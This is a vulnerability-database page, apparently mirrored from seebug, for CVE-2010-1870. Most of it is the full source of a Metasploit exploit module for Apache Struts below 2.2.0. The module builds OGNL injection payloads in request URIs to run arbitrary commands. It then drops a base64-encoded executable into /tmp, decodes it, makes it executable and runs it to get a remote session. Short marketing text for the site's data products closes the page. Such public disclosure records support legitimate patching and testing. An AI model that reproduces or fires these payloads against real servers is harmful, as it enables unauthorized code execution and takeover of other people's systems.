Lucene search
K

Apache Struts < 2.2.0 - Remote Command Execution

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 16 Views

Apache Struts < 2.2.0 - Remote Command Execution vulnerabilit

Code

                                                ##
# $Id: struts_code_exec.rb 13586 2011-08-19 05:59:32Z bannedit $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require &#39;msf/core&#39;

class Metasploit3 &#60; Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::CmdStagerTFTP
	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			&#39;Name&#39;           =&#62; &#39;Apache Struts &#60; 2.2.0 Remote Command Execution&#39;,
			&#39;Description&#39;    =&#62; %q{
					This module exploits a remote command execution vulnerability in 
				Apache Struts versions &#60; 2.2.0. This issue is caused by a failure to properly
				handle unicode characters in OGNL extensive expressions passed to the web server.
				
					By sending a specially crafted request to the Struts application it is possible to
				bypass the &#34;#&#34; restriction on ParameterInterceptors by using OGNL context variables. 
				Bypassing this restriction allows for the execution of arbitrary Java code.
			},
			&#39;Author&#39;         =&#62;
				[
					&#39;bannedit&#39;, # metasploit module
					&#39;Meder Kydyraliev&#39;, # original public exploit
				],
			&#39;License&#39;        =&#62; MSF_LICENSE,
			&#39;Version&#39;        =&#62; &#39;$Revision: 13586 $&#39;,
			&#39;References&#39;     =&#62;
				[
					[ &#39;CVE&#39;, &#39;2010-1870&#39;],
					[ &#39;OSVDB&#39;, &#39;66280&#39;],
					[ &#39;URL&#39;, &#39;http://www.exploit-db.com/exploits/14360/&#39; ],
				],
			&#39;Platform&#39;      =&#62; [ &#39;win&#39;, &#39;linux&#39;],
			&#39;Privileged&#39;     =&#62; true,
			&#39;Targets&#39;        =&#62;
				[
					[&#39;Windows Universal&#39;,
						{
								&#39;Arch&#39; =&#62; ARCH_X86,
								&#39;Platform&#39; =&#62; &#39;win&#39;
						}
					],
					[&#39;Linux Universal&#39;,
						{
								&#39;Arch&#39; =&#62; ARCH_X86,
								&#39;Platform&#39; =&#62; &#39;linux&#39;
						}
					],
				],
			&#39;DisclosureDate&#39; =&#62; &#39;Jul 13 2010&#39;,
			&#39;DefaultTarget&#39; =&#62; 0))

			register_options(
				[
					Opt::RPORT(8080),
					OptString.new(&#39;URI&#39;, [ true, &#39;The path to a struts application action ie. /struts2-blank-2.0.9/example/HelloWorld.action&#39;, &#34;&#34;]),
					OptString.new(&#39;CMD&#39;, [ false, &#39;Execute this command instead of using command stager&#39;, &#34;&#34; ])
				], self.class)
	end

	def execute_command(cmd, opts = {})
		uri =  Rex::Text::uri_encode(datastore[&#39;URI&#39;])
		var_a = rand_text_alpha_lower(4)
		var_b = rand_text_alpha_lower(2)
		var_c = rand_text_alpha_lower(4)
		var_d = rand_text_alpha_lower(4)
		var_e = rand_text_alpha_lower(4)
		
		uri &#60;&#60; &#34;?(%27\\u0023_memberAccess[\\%27allowStaticMethodAccess\\%27]%27)(#{var_a})=true&&#34;
		uri &#60;&#60; &#34;(aaaa)((%27\\u0023context[\\%27xwork.MethodAccessor.denyMethodExecution\\%27]\\u003d\\u0023#{var_c}%27)(\\u0023#{var_c}\\u003dnew%20java.lang.Boolean(\&#34;false\&#34;)))&&#34;
		uri &#60;&#60; &#34;(#{var_b})((%27\\u0023#{var_d}.exec(\&#34;CMD\&#34;)%27)(\\u0023#{var_d}\\[email protected]@getRuntime()))=1&#34; if target[&#39;Platform&#39;] == &#39;win&#39;
		uri &#60;&#60; &#34;(asdf)((&#39;\\u0023rt.exec(\&#34;CMD\&#34;.split(\&#34;@\&#34;))&#39;)(\\u0023rt\\[email protected]@getRuntime()))=1&#34; if target[&#39;Platform&#39;] == &#39;linux&#39;
		uri.gsub!(/CMD/, Rex::Text::uri_encode(cmd))

		vprint_status(&#34;Attemping to execute: #{cmd}&#34;)

		resp = send_request_raw({
			&#39;uri&#39;     =&#62; uri,
			&#39;version&#39; =&#62; &#39;1.1&#39;,
			&#39;method&#39;  =&#62; &#39;GET&#39;,
		}, 5)
	end

	def windows_stager
		exe_fname = rand_text_alphanumeric(4+rand(4)) + &#34;.exe&#34;

		print_status(&#34;Sending request to #{datastore[&#39;RHOST&#39;]}:#{datastore[&#39;RPORT&#39;]}&#34;)
		execute_cmdstager({ :temp =&#62; &#39;.&#39;})
		@payload_exe = payload_exe

		print_status(&#34;Attempting to execute the payload...&#34;)
		execute_command(@payload_exe)
	end

	def linux_stager
		cmds = &#34;/bin/sh@-c@echo LINE | tee FILE&#34;
		exe = Msf::Util::EXE.to_linux_x86_elf(framework, payload.raw)
		base64 = Rex::Text.encode_base64(exe)
		base64.gsub!(/\=/, &#34;\\u003d&#34;)
		file = rand_text_alphanumeric(4+rand(4))

		execute_command(&#34;/bin/sh@-c@touch /tmp/#{file}.b64&#34;)
		cmds.gsub!(/FILE/, &#34;/tmp/&#34; + file + &#34;.b64&#34;)
		base64.each_line do |line|
			line.chomp!
			cmd = cmds
			cmd.gsub!(/LINE/, line)
			execute_command(cmds)
		end

		execute_command(&#34;/bin/sh@-c@base64 -d /tmp/#{file}.b64|tee /tmp/#{file}&#34;)
		execute_command(&#34;/bin/sh@-c@chmod +x /tmp/#{file}&#34;)
		execute_command(&#34;/bin/sh@-c@rm /tmp/#{file}.b64&#34;)

		execute_command(&#34;/bin/sh@-c@/tmp/#{file}&#34;)
		@payload_exe = &#34;/tmp/&#34; + file
	end

	def on_new_session(client)
		if target[&#39;Platform&#39;] == &#39;linux&#39;
			print_status(&#34;deleting #{@payload_exe} payload file&#34;)
			execute_command(&#34;/bin/sh@-c@rm #{@payload_exe}&#34;)
		else
			print_status(&#34;Windows does not allow running executables to be deleted&#34;)
			print_status(&#34;delete the #{@payload_exe} file manually after migrating&#34;)
		end
	end

	def exploit
		if not datastore[&#39;CMD&#39;].empty?
			print_status(&#34;Executing user supplied command&#34;)
			execute_command(datastore[&#39;CMD&#39;])
			return
		end

		case target[&#39;Platform&#39;]
			when &#39;linux&#39;
				linux_stager
			when &#39;win&#39;
				windows_stager
			else
				raise RuntimeError, &#39;Unsupported target platform!&#39;
		end

		handler
	end
end
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation